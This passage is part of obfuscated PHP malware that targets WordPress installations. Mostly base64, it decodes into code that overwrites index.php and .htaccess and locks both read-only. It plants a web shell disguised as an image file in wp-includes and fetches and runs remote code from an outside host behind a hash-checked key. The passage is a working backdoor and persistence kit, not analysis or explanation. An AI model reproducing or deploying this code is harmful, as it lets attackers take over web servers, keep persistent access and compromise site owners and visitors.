Cdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHls